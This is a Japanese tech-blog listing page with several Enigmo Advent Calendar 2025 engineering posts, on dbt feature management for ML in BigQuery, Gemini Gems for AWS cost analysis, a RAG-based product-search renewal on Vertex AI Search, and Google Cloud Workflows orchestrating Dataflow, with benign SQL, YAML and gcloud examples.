株式会社エニグモのブログ - TECH PLAY

TECH PLAY

株式会社エニグモ

株式会社エニグモ の技術ブログ

全255件

こんにちは、AI テクノロ ジー グループ データサイエンティストの髙橋です。業務では企画/分析/ 機械学習 モデル作成/プロダクション向けの実装/効果検証を一貫して行っています。この記事は Enigmo Advent Calendar 2025 の 19 日目の記事です。 本記事では、 dbt を利用した 機械学習 モデルの特徴量管理について紹介します。この特徴量管理を活用することで、 機械学習 を利用したプロジェクトで多くの実験を効率的に実施でき、利益増加というビジネス成果に繋げることができました。 www.getdbt.com 特徴量管理の目的・成果 数多くの特徴量を試す上での課題 dbt による課題解決 dbt による特徴量管理時の工夫 まとめ ※文中に記載する ディレクト リやファイル名、 SQL コード、コマンドなどは全てイメージです。 特徴量管理の目的・成果 dbt を利用した特徴量管理を導入した目的は、ある 機械学習 プロジェクトにて効率的に数多くの特徴量を試す必要があったためです。まず、そのプロジェクトと得られた成果について説明します。 弊社が運営している CtoC ECサービス BUYMA では、MA (Marketing Automation) ツールを通じてクーポンなどの インセンティブ をメールで配布しています。これまで、様々な会員セグメントを定義し、各セグメントに対しての インセンティブ 配布ルールの運用を行っており、そのルールのチューニングで改善を図っていました。このアプローチではルールをもとに一律配布しているため、 機械学習 による最適化余地があると考えました。具体的には、 インセンティブ がなくても購入する会員にもコストをかけてしまったり、 インセンティブ があれば購入する会員に配布できていなかったりなどの最適化の余地があるのではないかと考えました。そこで、 機械学習 を活用してデータに基づくより効果的な インセンティブ 配布を実現することを目指しました。 BUYMA はリリースから 20年を超えるサービスであり、様々な MA シナリオ(会員セグメントと配布ルールの組み合わせを以降 MA シナリオと呼びます)が運用されています。出来るだけ多くの MA シナリオに対して 機械学習 による最適化を適用したく、そのためには様々な特徴量を効率良く試せるようにすべきと考えました。 そこで、今回紹介する dbt を利用した特徴量管理を導入しました。その結果、約1年間でおよそ8個の MA シナリオに 機械学習 による配布最適化を試すことができ、シナリオによってばらつきはあるものの約20%の利益増加が実現できました。 数多くの特徴量を試す上での課題 まず前提として、特徴量は BigQuery で作成する方針としました。理由は、既に BUYMA のデータは BigQuery に保存されていたことと、 Python 実行環境(ノートブックなど)への特徴量作成のもとになる行動データのダウンロードに非常に時間がかかったためです。時間がかかる理由は、 BUYMA は会員数・商品数が非常に多く、それに伴いユーザーの行動ログのデータ量も非常に多いためです。具体的には、会員数1185万人、商品数590万品であり *1 、利用する行動ログのレコード数は数千万件になることもあります。 この前提のもと、BigQuery で数多くの特徴量を効率的に試すには以下の課題がありました。 特徴量の数が多くなると SQL が肥大化して可読性が低下する。 例えば、弊社で過去別の機能で作成した特徴量 SQL ファイルは2000行を超えており読むのが大変でした。 特徴量作成のロジックが複雑になると可読性が低下する 例えば、過去 n 日間の閲覧数という特徴量を複数 n に対して記述すると、 SQL が長くなり可読性が低下します。 別の実験で特徴量を再利用しづらい 再利用する場合は、その特徴量部分を毎回コピペする必要があるためです。 dbt による課題解決 そこで、 dbt を利用して特徴量管理を行うことで、これら課題の解決を図りました まず、 dbt について簡単に説明します。ただし、dbt は多くの機能があるため今回の課題解決に関連する機能に絞って説明します。全体を詳しく知りたい方は 公式ドキュメント を参照ください。 今回役立ったのは以下の機能です。 SQL ファイルの分割 for などのロジックの記述 SQL ファイルの分割について、dbt を利用することで CTE (Common Table Expression) を別のファイルに分けることができます。例として、以下のような CTE を使った SQL を考えます。 -- main.sql WITH users AS ( SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` ) SELECT * FROM users dbt を利用することでこの SQL を2つのファイルに分けることができます。 -- user.sql SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` -- main.sql SELECT * FROM {{ ref( " user " ) }} ここで、 {{ (ref("user")) }} は user. sql を参照することを意味します。 dbt run コマンドを実行すると、 user.sql 、 main.sql のテーブルビューが作成されます。この機能を利用することで、特徴量作成などの SQL を分割して可読性を向上させることが出来ます。具体的には、以下のように SQL ファイルを分割しました。 models ├── datasets │ └── dataset.sql └── features │ ├── features_user_attributes.sql │ └── features_user_action_log.sql └── labels ├── label_type_1.sql └── label_type_2.sql ここで、 models ディレクト リは dbt でデータ取得のための SQL を配置する ディレクト リです。 *2 各 datasets ファイルの中身は以下のようにしました。 SELECT * FROM {{ var( " user_ids_table_name " ) }} LEFT JOIN {{ ref( " features_user_attributes " ) }} USING (user_id) LEFT JOIN {{ ref( " features_user_action_log " ) }} USING (user_id) LEFT JOIN {{ ref( " label_type_1 " ) }} USING (user_id) ここで、 var は dbt で利用できる変数です。 *3 様々な会員セグメントについて実験するために、セグメントごとの会員 ID を別テーブルにあらかじめ保存しておき、変数として切り替えられるようにしました。 features ディレクト リ配下のファイルは意味がある粒度で特徴量を分けて再利用しやすくしました。また、 機械学習 の目的変数である label も複数パターン試せるようにしました。 こうしたことで、実験が進むごとに特徴量が増加しても、 SQL が肥大化して読みにくくなることを防げました。具体的には、1つの SQL ファイルあたり長くとも約100行におさまるようになりました。また、 dataset.sql を見ればどのような特徴量が利用されているかが一目で分かるようになりました。 for などのロジックの記述について、dbt では Jinja というテンプレートエンジン の記法で for などのロジックを記述することができます。これを利用して、例えば過去 1、3、7日間の閲覧、お気に入り回数の集計は以下のように記述できます。 {%- set agg_actions = [ " view " , " like " ] -%} {%- set last_n_days = [ 1 , 3 , 7 ] -%} SELECT user_id, {% for agg_action in agg_actions %} {% for last_n_day in last_n_days %} COUNTIF( day_from_base_date <= {{ last_n_day }} AND action = " {{ agg_action }} " ) AS cnt_action_{{ agg_action }}_last_{{ last_n_day }}_days, {% endfor %} {% endfor %} FROM `project.dataset.user_action_log` GROUP BY user_id ここで、簡単のために user_action_log テーブルに特徴量作成の基準日から何日前のログかを示す day_from_base_date カラムが存在すると仮定しています。これを通常の SQL で記述すると以下のようになります。 SELECT user_id, COUNTIF( day_from_base_date <= 1 AND action = " view " ) AS cnt_action_view_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " view " ) AS cnt_action_view_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " view " ) AS cnt_action_view_last_7_days, COUNTIF( day_from_base_date <= 1 AND action = " like " ) AS cnt_action_like_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " like " ) AS cnt_action_like_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " like " ) AS cnt_action_like_last_7_days FROM `project.dataset.user_action_log` GROUP BY user_id 比較してみると、 dbt を利用することで SQL が短くなり、かつ変数を定義できるためどの行動を過去何日分集計するかが一目で分かるようになりました。これにより特徴量が複雑になっても可読性が低下することを防げました。また、集計する日数や行動が増えたとしても、変数のリストに要素を追加するだけで対応できるようになりました。 dbt による特徴量管理時の工夫 より多くの特徴量を素早く試せるように行った工夫があるため、それらも紹介します。ここでは2つ紹介します。 1つ目はデー タセット 管理表を用意し、実験で利用するデー タセット ごとに ID を採番し、 dataset_001 、 dataset_002 のようにファイルを作成していく方針としたことです。 デー タセット 管理表のイメージ: デー タセット ID デー タセット 説明 1 セグメント1に対して特徴量 A を利用したデー タセット 2 セグメント2に対して特徴量 A, B を利用したデー タセット 作成したファイルのイメージ: models └── datasets ├── dataset_001.sql └── dataset_002.sql こうすることで、新しいデー タセット を簡単に追加できるようにし、かつ過去のデー タセット も参照しやすくしました。実際に2025年12月時点ではデー タセット ID は 100 を超えていますが、問題なく運用出来ています。 2つ目は dbt で作成したテーブルのビューから Python 実行環境でデータを取得する際は、以下のような SQL で一度 GCS にエクスポートしてダウンロードするようにしたことです。これは、 Python で BigQuery SDK を利用してデータ取得するとレコード数が多い場合非常に時間がかかるためです。 -- analyses/export_dataset.sql {%- set bucket_folder = " datasets/ " + var( " dataset_id " ) -%} {%- set table_name = target.database + " . " + target.schema + " . " + " dataset_ " + var( " dataset_id " ) -%} -- BigQuery の export data 構文において _table_suffix を含んでいるとエラーが発生するため -- CREATE TEMP TABLE 構文を利用。 -- https://stackoverflow.com/a/70033601 CREATE TEMP TABLE temp_dataset AS ( SELECT * FROM {{ table_name }} ); EXPORT DATA OPTIONS ( uri = " gs://{{ var('bucket_name') }}/{{ bucket_folder }}/*.gz " , format = " Parquet " , overwrite = true , compression = " GZIP " ) AS ( SELECT * FROM temp_dataset ); ここで、GCS バケット 名やフォルダ、エクスポートするデー タセット ID を dbt 変数としており、これによりデー タセット によってエクスポート先を変更できるようにしました。また、この SQL はテーブルビューを作成する必要がないため、 analyses ディレクト リに配置して、以下のコマンドで コンパイル して実行するようにしました。 dbt compile \ --select analyses/export_dataset.sql \ --vars ' {bucket_name: "your_bucket_name", bucket_folder: "your_bucket_folder", dataset_id: "001"} ' && \ bq query < target/compiled/your_dbt_project_name/analyses/export_dataset.sql ここで、 dbt compile コマンドは Jinja 記法などを解決して実行可能な SQL に コンパイル するコマンドであり、 コンパイル されたファイルは target/compiled 配下に保存されます。また、 dbt の analyses ディレクト リとは models ディレクト リとは異なり一時的な分析用 SQL などを配置するのに適したものになります。 *4 まとめ 本記事では、dbt を利用した特徴量管理について紹介しました。 SQL の肥大化や特徴量の再利用しづらさという課題を、 SQL ファイルの分割や for などのロジック記述により解決しました。また、デー タセット 管理の方法や Python 実行環境でのデータ取得の高速化というより効率的に多くの特徴量を試す方法も紹介しました。これにより、複数の MA シナリオに対して 機械学習 を利用した インセンティブ 配布最適化を試すことができ、利益増加という成果に繋げることが出来ました。 本記事が特徴量管理の参考になれば幸いです。 明日の記事は BUYMA TRAVEL のエンジニアの 赤間 さんです。お楽しみに! 株式会社 エニグモ すべての求人一覧 hrmos.co *1 : 2025年10月末時点の数値です。 https://enigmo.co.jp/ir/ *2 : dbt models について詳細は dbt 公式ドキュメント を参照ください。 *3 : dbt の変数について詳細は dbt 公式ドキュメント を参照ください。 *4 : dbt analyses について詳細は dbt 公式ドキュメント を参照ください。
こんにちは、インフラエンジニアの森田です。 この記事は Enigmo Advent Calendar 2025 の 14日目の記事です。 今回は、業務効率化のために Google Geminiのカスタム指示(Gems)を作成し、 実際の業務で使ってみた使用感や気づきについて紹介します。 どのような業務に活用したか 私は直近で AWS のコスト削減に取り組んでいます。 特にSavings Plansなどを購入する際、 複数アカウント のオンデマンドコストと推奨コミット額を見比べ、 その購入計画が適切かを整理する必要がありました。 これを人力で行うのは 工数 もかかり、ミスのリスクもあるため「辛い」作業でした。 そこで、Savings Plans推奨事項の CSV ファイルと、 Cost Explorer から CLI で取得した JSON ファイルを読み込ませることで、 コミット額の適切性検証とコストメリットの整理を行ってくれるGemsを作成しました。 結果として、 非常に良好な感触 を得られました。 やはり、複雑な数値の突き合わせや計算は計算機(AI)に任せるのが一番です。 本記事では、実際にツールを作ってみて「気をつけると良い点」と、 組織で運用する上で「課題だと感じた点」を共有します。 カスタム指示(Gems)作成のポイント コスト削減アシスタントGemsを作成する過程で、特に重要だと感じたポイントは以下の3点です。 1. 具体的な使い方の説明(ガイド)を含める スクリプト と異なり、対話形式で進むため、 初見のユーザーでも迷わないよう「利用手順」を指示に含めておくと親切です。 今回はデータを読み込ませて分析するツールなので、 以下のようにデータの取得手順を案内させるようにしました。 ## 0. ユーザーサポート / 使い方ガイド ユーザーから「使い方を教えて」「何が必要?」と問われた場合、または挨拶のみでデータが未提供の場合は、以下の3ステップのデータ取得手順を案内してください。 ### 手順1: 推奨事項CSVのダウンロード (AWS Console) <取得手順を記載> ### 手順2: 直近のオンデマンド料金取得 (AWS CLI) <取得手順を記載> ### 手順3: データの取得 <取得手順を記載> 2. 入出力のイメージを厳密に定義する 曖昧な指示だと、実行のたびにAIの解釈が変わり、 出力フォーマットがブレて使いづらくなります。 AIに勝手な解釈をさせないよう、入力データの処理ルールと出力形式を 以下のように固定することをお勧めします。 入力ルールの例: ## 2. 入力データの処理ルール 以下のデータがテキストまたはファイルとして与えられます。 1. **推奨事項 (CSV):** ` savings-plans-recommendations.csv ` * ここから「アカウントID」「推奨コミットメント額($/h)」「推定削減率」を抽出します。 2. **実績コスト (JSON):** ` ec2_ondemand_daily_filtered.json ` (Cost Explorer出力) * **安全性判定:** ` 推奨コミットメント額($/h) × 24h ` が ` 日次実績コスト(過去30日間の最小値) ` を下回っているか確認してください。実績を下回っていれば「安全(使い切れる)」、上回っていれば「注意(使い切れないリスクあり)」と判定します。 (略) 出力ルールの例: 必ず以下の **【出力1】** 〜 **【出力3】** の形式で出力してください。 ----- ### 【出力1】 <出力1の構造を指示する> (略) 3. 複雑なファイルは「キャプチャ画像」で読ませる 複雑なレイアウトの Excel やPDFファイルは、 テキスト抽出時に構造が崩れ、正しく解析できない場合があります。 そのような場合、 対象箇所のキャプチャ画像を撮って画像を読ませる 方が、 精度が高くなるケースがありました。 テキストでの読み込みで精度が出ない場合は、「画像を読ませる」という選択肢を 頭の片隅に置いておくと良いでしょう。 管理・運用上の懸念点 個人のツールとしては優秀なGemsですが、これを「会社の資産」として管理しようとした際、 いくつか課題も見えてきました。 変更履歴が見えない 作り込んだカスタム指示は長文になりがちですが、現状のGemsには変更履歴(Diff)を見る機能がありません。 「誰が・いつ・なぜ変更したか」が追えないため、チーム開発には不向きです。 GCP のVertex AI AgentsであればTerraform等で管理可能ですが、 Gemini(Gems)単体では難しいため、現状は 「プロンプトの内容をテキストファイルとしてGitで管理し、変更時はGitを通してから手動でGemsを更新する」 という運用が現実解になりそうです。 スマートではありませんが、資産管理としては必要です。 作成者のアカウント削除でGemsも消える Gemsの実体は、作成者の「マイドライブ/Gemini Gems/」配下に保存されるファイルとして扱われるようです。 そのため、作成者が退職等でアカウント削除されると、 マイドライブ内のデータと共にGemsも消失してしまいます。 これを回避するために共有ドライブへの集約を試みましたが、 共有ドライブ上のGemsファイルを開こうとするとエラーが発生しました(下図参照)。 現状では、誰か個人のマイドライブに配置されている必要がありそうです。 共有ドライブ上のGemsを開いた際のエラー モデル更新による挙動の変化(AIドリフト) これはLLMを利用する全般的なリスクですが、バックエンドのモデルが更新された際、 以前と同じプロンプトでも挙動が変わる可能性があります。 ChatGPTのCustom GPTsのようにモデルバージョンを固定する機能は、現状のGemsには見当たりません。 影響を最小限にするためには、前述の通り「入出力を厳密に定義」してAIの解釈の幅を狭めておくことが重要です。 また、モデル更新のアナウンスがあった際は、簡単な動作確認フローを設けるのが良いでしょう。 まとめ スプレッドシート でオンデマンドコストとコミットコストを整理して購入計画を立てていたときは2,3日かかっていたところ、 業務特化型のGemsを作成することで、正味1時間あれば整理が完了するようになり大幅に効率化することができました。 一方で、チームや組織で永続的に管理・運用していくには、 バージョン管理やオーナー権限の面でまだ工夫が必要だと感じています。 今後、 Google Workspaceの機能アップデートにより、 これらの管理機能が強化されることを期待しつつ、 まずはGit管理などの運用ルールでカバーしながら活用していきたいと思います。
こんにちは、AIテクノロ ジー グループのエンジニアの吉田です。 本記事は Enigmo Advent Calendar 2025 の 18日目の記事です。 普段は検索システム全般、 機械学習 システムのMLOps、AI関連の機能開発を担当しております。 この記事では「AIでさがす」サービスのリニューアルについて紹介します。 「AIでさがす」サービスとは 「AIでさがす」サービスは、 BUYMA のWebサイトおよびアプリで提供している、AIを活用した商品提案サービスです。 実際の機能は以下からご利用頂けます。( BUYMA アカウントでのログインが必要となります。) 「AIでさがす」サービス ユーザーが文章で質問すると、AIが質問内容を理解し、おすすめの商品を提案します。例えば「春のデートにぴったりなワンピースを教えて」といった質問に対して、AIが回答文とともに具体的な商品を紹介します。 従来のキーワード検索では見つけにくかった商品や、ユーザー自身が気づいていなかった新しい商品との出会いを提供することで、 BUYMA でのショッピング体験をより豊かにすることを目指しています。 ※商品画像はモザイク加工しております。 リニューアルの背景 旧システムは、ChatGPT API を活用した商品提案サービスでしたが、主な課題が3点ありました。 BUYMA の知識不足 ChatGPT が一般的な知識で回答を生成するため、 BUYMA ならではのトレンドや商品特性を反映できない。 根拠の不明確さ ChatGPT の回答に 参照元 がない。 検索キーワード生成の精度 形態素解析 ツールの MeCab を併用していましたが、文脈や意味を理解した検索キーワード生成ができない。 また、リリースから2年が経過し、本格的にバージョンアップが必要なタイミングでもありました。 ※旧システムの詳細は こちらの記事 で紹介しております。 ちょうどチームメンバーが社内ドキュメントのAI検索システムを開発しており、この仕組みを BUYMA の多数の記事コンテンツに適用すれば、より BUYMA らしい商品提案が可能になると考えました。 そこで、今回のリニューアルでは、 BUYMA 内の記事コンテンツ群をベースに会話するエージェントを作成しました。これにより、 BUYMA ならではの知識を持ったAIが、より BUYMA でおすすめしたい商品を提案できるようになりました。 システム変更前後の比較 旧システムと新システムの違いは以下の通りです。 旧システムでは、ChatGPT が一般的な知識で回答を生成し、 MeCab による単純な 形態素解析 で検索キーワードを生成していました。そのため、 BUYMA ならではの文脈を理解した商品提案が難しい状況でした。 新システムでは、 BUYMA 内記事コンテンツを参照した Vertex AI Search が回答文を生成し、Gemini が文脈を理解した検索キーワードを生成します。その結果、より BUYMA らしい商品提案が可能になりました。 それぞれの処理フローは以下の通りです。 旧システム処理フロー BUYMA 基幹システムから「AIでさがす」 API にリクエスト 「AIでさがす」 API がユーザーの質問を ChatGPT API に送信 ChatGPT が回答文とおすすめアイテムリストを生成 アイテム名を MeCab ( 形態素解析 )で解析し、検索キーワードを生成 検索 API で商品情報を取得し、ユーザーに表示 新システム処理フロー BUYMA 基幹システムから「AIでさがす」 API にリクエスト 「AIでさがす」 API がユーザーの質問を Vertex AI Search に送信 Vertex AI Search (事前に BUYMA 内記事コンテンツをインポート済み)が回答文を生成 質問文と回答文を Gemini に送信し、検索キーワードを生成 検索 API で商品情報を取得し、ユーザーに表示 アーキテクチャ ー特徴 1. Vertex AI Search Vertex AI Search を利用して、インポートした BUYMA 内記事コンテンツをベースに会話を行うエージェントを構築しました。 BUYMA 内記事コンテンツのインポート 約4000件の記事をデータストアにインポート プロンプト設計 「ファッション ECサイト BUYMA のショッピングアドバイザー」として定義し、ユーザーの質問に対して最適な商品を提案する形で回答を生成 2. Gemini Gemini を活用する事により、会話内容から商品検索キーワードを生成する機能を作成しました。 プロンプト設計 「 ECサイト の検索キーワードを生成する専門家」として定義し、会話の文脈を理解して検索キーワードを生成 MeCab との違い MeCab は単語の分解のみだが、Gemini は文脈を理解してブランド名・カテゴリ名・モデル名を組み合わせた検索キーワードを生成 実装時の課題・解決策・工夫した点 Vertex AI Search の幻覚への対応 初回質問時に Vertex AI Search が過去から質問が続いているような幻覚を見る場合がありました。当初は初回と2回目以降の会話を共通のプロンプトで行っており、「ユーザーの過去の質問履歴」の項目に入っている文言の有無から初回なのか、2回目以降の会話なのかを判断する指示を出していました。ところが、「過去」という文言に引きずられてなのか、初回なのに過去の質問をAI側が捏造して、その続きとして回答する場合が稀にありました。 プロンプトテンプレートを初回用と2回目以降用の2種類に分け、初回用のプロンプトからは「ユーザーの過去の質問履歴」の文言自体を削除する事によって対応しました。 敵対的クエリへの対応 敵対的クエリ(不適切な質問)の場合、Vertex AI Search の API からのレスポンスフォーマットが通常とは異なるものになり、要約が生成できないにもかかわらず、無理やり商品紹介を行ってしまいました。 敵対的クエリーのフォーマットを検知した場合は、要約失敗として扱い、商品紹介を行わないように修正しました。 この場合以外でも稀に異なるフォーマットのレスポンスになる場合があり、サービス継続に支障が出ないように都度改善を行いました。 Gemini のライブラリ移行 もともと使用していたライブラリがサポート終了を迎えるため、社内では実績がない新しいライブラリに移行する必要がありました。移行後、従来使用していた Gemini モデルが初期設定では使用できず、次世代のモデルを試したところレスポンスタイムが大幅に遅くなってしまいました。新しいライブラリという事もあり、AIツールではなかなか解決できず、最終的には Google サポートに問い合わせして解決に至りました。 得られた学びとノウハウ AIツールの活用と限界 「AIでさがす」のバックエンド API の リポジトリ は、ほぼ全部作り直したのですが、AIツールを活用する事によって、 工数 を節約する事ができました。Terraform 関連のリソース修正、テストケース作成やMOCK用のフロントエンド実装等においてもAIツールにより大幅な 工数 削減ができました。 一方で、Gemini のライブラリ移行など、ドキュメントの記載やインターネット上での知見が少ない領域ではAIツールでは解決できず、結果的に公式サポートへの問い合わせが必要でした。 AIの不確定な挙動への対応 Vertex AI Search の幻覚や部分的な失敗など、AIサービス特有の不確実性に対して、初回用と2回目以降用でテンプレートを分けるなど、細かな調整が重要でした。また、プロンプトだけではどうする事もできない場合があり、そのような場合は後処理でルールベースのロジックを追加する必要がありました。 効果測定 リニューアル後、以下のような指標が上昇しました。 1スレッドあたりの質問数の平均 会話の継続性が向上し、ユーザーが複数回質問を続けるようになりました。 1ユーザー1日あたりの質問数 利用頻度が向上し、ユーザーがより積極的に機能を活用するようになりました。 検索URLに遷移された回数 商品検索への誘導効果が向上し、実際の商品閲覧につながるケースが増加しました。 これらの結果から、 BUYMA 内記事コンテンツを根拠とした回答の提供と、文脈を理解した検索キーワード生成により、ユーザーの満足度と利用価値が向上したと考えられます。 直近の対応/今後の展開・課題 金額絞り込み機能の追加(今月対応) ユーザーからの要望が多い金額絞り込み機能の対応をしました。価格帯に関する質問に対して適切な商品提案ができていない課題があったため、Gemini で検索 API 用の金額フィルタークエリを生成することで対応しました。 コンテンツの拡充 現在は BUYMA 内記事コンテンツのみを Vertex AI Search にインポートしていますが、今後は YouTube での発信内容も追加する予定です。記事以外のコンテンツも活用することで、より幅広い情報をユーザーに提供できるようになります。 継続的なメンテナンス AIのライブラリやモデルは随時更新されていくため、継続的なメンテナンスが課題となります。特に Gemini や Vertex AI Search などのサービスは進化が早く、新しいモデルへの対応や非推奨ライブラリ/バージョンから移行など、定期的な見直しが必要です。 まとめ 本記事では、「AIでさがす」サービスのリニューアルについて紹介しました。 旧システムでは ChatGPT と MeCab を使用していましたが、 BUYMA 特有の知識不足や根拠の不明確さなどの課題がありました。リニューアルでは Vertex AI Search と Gemini を採用し、 BUYMA 内記事コンテンツを根拠とした回答生成と文脈を理解した検索キーワード生成を実現しました。 実装時には敵対的クエリへの対応やAIサービス特有の不確実性への対処など様々な課題に直面しましたが、ロジックでの細かい制御やAIツールの活用により解決できました。リニューアル後は会話継続性や利用頻度、商品検索への誘導効果が明らかに向上しています。 明日の記事は同じAIテクノロ ジー グループの髙橋さんです。お楽しみに。 株式会社 エニグモ すべての求人一覧 hrmos.co
こんにちは、AIテクノロ ジー グループの太田です。 普段は商品のカタログデータ基盤を開発・運用するチームで業務に携わっております。 エニグモ ではそういったデータやAI関連の技術基盤として GCP を利用しており、そこで利用したWorkflowsについて紹介したいと思います。 この記事は Enigmo Advent Calendar 2025 の17日目の記事です。 1. はじめに:なぜこの構成に至ったか 2. Goolge Cloud 構成:全体アーキテクチャ概要 3. 技術選定:なぜ Cloud Composer ではなく Workflows なのか 4. 実装サンプル:Workflows から Dataflow を起動する 5. Workflows を採用する上で許容した「不便な点」 6. まとめ 1. はじめに:なぜこの構成に至ったか 背景 毎日追加・更新される商品データを Vector Search のインデックスに反映させる必要があった。 Cloud Composer (Airflow) の利用実績はあったものの、より安価な Workflows に興味があった。 課題 「差分抽出 → 画像処理(Embedding) → インデックス更新」という一連のフローを毎日決まった時間に実行したい。 各処理ステップ(特に画像処理とインデックス更新)は時間がかかるため、 タイムアウト やリトライ制御を考慮する必要がある。 当然コストは抑えたい。 結論 Cloud Composer を使わず、Workflows + Cloud Scheduler を採用することで、管理コストと金銭的コストを最小限に抑えた アーキテクチャ を構築した。 ポイントは、重たい処理(画像処理・インデックス更新)は Dataflow に任せ、Workflows はあくまで「順序制御」に徹する構成にしたことです。 2. Goolge Cloud 構成:全体 アーキテクチャ 概要 処理の流れは次のとおりです。 Cloud Scheduler 毎日定時に Workflows をトリガー。 Workflows: 全体の指揮者。以下のステップを順次実行。 BigQuery: 前日データとの差分を SQL で抽出。 Workflows: 画像の Embedding 計算とGCSへの保存を実行する Dataflow を実行する。 Workflows: Vector Search のインデックス更新を実行する Dataflow を実行する。 ポイントは、長時間実行かつ単発で実行する機会がある Dataflow の実行を別の Workflows に委ね、メインの Workflows から別の Workflows を呼び出すようにしたことです。 Dataflowの実装については、本記事の趣旨から外れるので省略いたします。 3. 技術選定:なぜ Cloud Composer ではなく Workflows なのか このセクションで、他の選択肢と比較し、なぜ今回の構成に至ったかを解説します。 比較項目 Workflows Cloud Composer 特性 サーバーレスで軽量、直線的なフローに最適 複雑な依存関係に強いが、常時稼働が必要 コスト 安価(実行回数課金) 1000ステップ0.01ドル 1 Google Cloud 外へのアクセスを要する場合は1000ステップ0.025ドル 高い(小規模でも月額数万円〜) 2 実際に月額約8万円かかっています 採用/不採用の決め手 今回の処理が「直線的」であり、複雑なDAGが不要だったため 日次バッチ一つに対してはオーバースペック 運用実績があったからといって、「とりあえず Airflow」とせずに、ワークフローの複雑さに応じてツールを選定できた点が良かったです。 実際に使ってみて、単純な A -> B -> C というフローなら Workflows の方が圧倒的に運用・コストメリットが大きいことが実感できました。 4. 実装サンプル:Workflows から Dataflow を起動する ここでは、実際に Workflows を使って Dataflow ( Flex Template) を起動するための定義( YAML )を紹介します。 【コード解説のポイント】 Dataflow の Flex Template を利用することで、Docker イメージ化したジョブをパラメータ付きで呼び出せます。 Workflows 側でジョブの完了を待機する(ポーリングする)ようにしました。 googleapi 3 で Dataflow 以外の各種 Google Cloud のプロダクトへアクセスすることができるので、参照してみてください。 【サンプルコード( YAML )】 実際に作成した Dataflow を起動する Workflows の定義ファイル(main. yaml )の一部を掲載します。 main. yaml の抜粋イメージ steps : - init : assign : - project_id : ${sys.get_env("GOOGLE_CLOUD_PROJECT_ID")} - location : "asia-northeast1" - job_name : "dataflow-launcher" # デプロイするときに --set-env-vars で設定した環境変数をここで読み込む - sdk_container_image : ${sys.get_env("sdk_container_image")} - gcs_bucket : ${sys.get_env("gcs_bucket")} # YYYYMMDD 形式の日付 - ymd : ${text.replace_all(text.split(time.format(sys.now()), "T" )[ 0 ], "-" , "" )} # 画像処理をするので時間がかかる Dataflow を実行するステップ - dataflow_start_crop_embedding : call : googleapis.dataflow.v1b3.projects.locations.flexTemplates.launch args : projectId : ${project_id} location : ${location} body : launchParameter : jobName : ${job_name + ymd} containerSpecGcsPath : ${gcs_bucket + "/templates/your-template-spec.json" } parameters : sdk_container_image : ${sdk_container_image} environment : stagingLocation : ${gcs_bucket + "/templates/staging" } tempLocation : ${gcs_bucket + "/templates/temp" } serviceAccountEmail : ${Dataflow 実行権限を持つ Service Account} result : dataflow_result next : initialize_polling # 以下、Dataflow を完了まで監視するステップ # ループした回数だけステップ数が増えてコストも増えていくのでループ数には注意してください。 - initialize_polling : assign : - counter : 0 # "max_retries * 60秒 (wait_60_secondsで定義) = 1時間"なので、最大1時間ポーリングを行う。 - max_retries : 60 next : poll_job_status - poll_job_status : call : googleapis.dataflow.v1b3.projects.locations.jobs.get args : projectId : ${project_id} location : ${location} # run_dataflow_job ステップの return から参照できる。 jobId : ${dataflow_result.job.id} result : job_status next : check_job_status - check_job_status : switch : - condition : ${job_status.currentState == "JOB_STATE_DONE" } next : job_succeeded - condition : ${job_status.currentState == "JOB_STATE_FAILED" or job_status.currentState == "JOB_STATE_CANCELLED" } raise : ${"Dataflowジョブ " + dataflow_result.job.id + " が失敗しました。ステータス " + job_status.currentState} - condition: ${counter >= max_retries} raise: ${" Dataflowジョブ " + dataflow_result.job.id + " が1時間以内に完了しませんでした。タイムアウト。"} - condition : ${ true } next : increment_counter - increment_counter : assign : - counter : ${counter + 1 } next : wait_60_seconds - wait_60_seconds : call : sys.sleep args : seconds : 60 next : poll_job_status - job_succeeded : return : "SUCCESS" 【サンプルコードをデプロイ】 作成した Workflows の定義ファイルをデプロイ 4 します。 gcloud workflows deploy sample_workflow \ --source=main.yaml \ --location="asia-northeast1" \ --project=${PROJECT_ID} \ --service-account=${SERVICE_ACCOUNT_EMAIL} \ --set-env-vars sdk_container_image=${Artifact Registry にpushしたdockerイメージ} \ --set-env-vars gcs_bucket="gs://YOUR_BUCKET" \ 【サンプルコードを実行した結果】 ループしているので実際に実行されたステップ数は137でした。 コストは 137 * 0.01 / 1000 = 0.00137 ドルになります。 5. Workflows を採用する上で許容した「不便な点」 コストと手軽さは魅力的ですが、導入に際しては以下のデメリットも考慮する必要がありました。 開発体験のクセ( YAML 地獄) 課題 Python で記述できる Airflow と異なり、Workflows は YAML (または JSON ) でロジックを記述する必要があります。条件分岐やループ処理、変数の扱いが直感的ではなく、構文エラーに悩まされることが多いです(一般的に " YAML engineering" と揶揄される部分)。 対応 今回は「直列的なフロー」に留めることで複雑な記述を回避しました。複雑なロジックが必要な場合は、無理に Workflows 内に書かず、Cloud Functions や Dataflow に逃がす設計が重要です。 ローカルテスト・ デバッグ の難易度 課題 Cloud Composer (Airflow) はローカル環境を構築可能なので DAG のテストが可能ですが、Workflows は クラウド 上のリソースと密結合しているため、ローカルでの完全な再現・テストが困難です。「修正してデプロイして実行」のサイクルになりがちです。 対応 ステップごとの 単体テスト は諦め、 結合テスト 中心で進める割り切りが必要でした。 また、別の Workflows に分割することで、ステップごとに運用できるように対応しました。 ステップ間のデータ受け渡し制限(メモリサイズ) 課題 Workflows は大規模なデータをステップ間で直接受け渡すこと( ペイロード サイズ制限)には向いていません。 対応 今回の設計では、画像データそのものや大量のリストは Workflows 上を通過させず、必ず GCS のパスや BigQuery のテーブル名といった「参照情報」のみを受け渡すように徹底しました。 ベンダーロックイン 課題 Airflow は OSS 標準ですが、Workflows は Google Cloud 固有のサービスです。将来的に他の クラウド へ移行する場合、ポータビリティがありません。 対応 今回は GCP 完結のシステムであり、フルマネージドの恩恵(管理レス)を最優先しました。 6. まとめ Workflows + Cloud Scheduler の組み合わせにより、日次の Vector Search インデックス更新を完全自動化できました。 コスト面以外では、インフラ管理コスト(Cloud Composer の環境維持など)を削減し、本質的なロジック開発に集中できることが Workflows の大きなメリットに感じました。 デメリットで YAML 記法に言及しましたが、逆に言えば、どなたでも気軽に試してみることができるとも言えます。コストも軽いのでこれを機に是非一度お試しください。 読者の皆様がこれで良い体験を得ることができましたら私としても大変嬉しく思います。 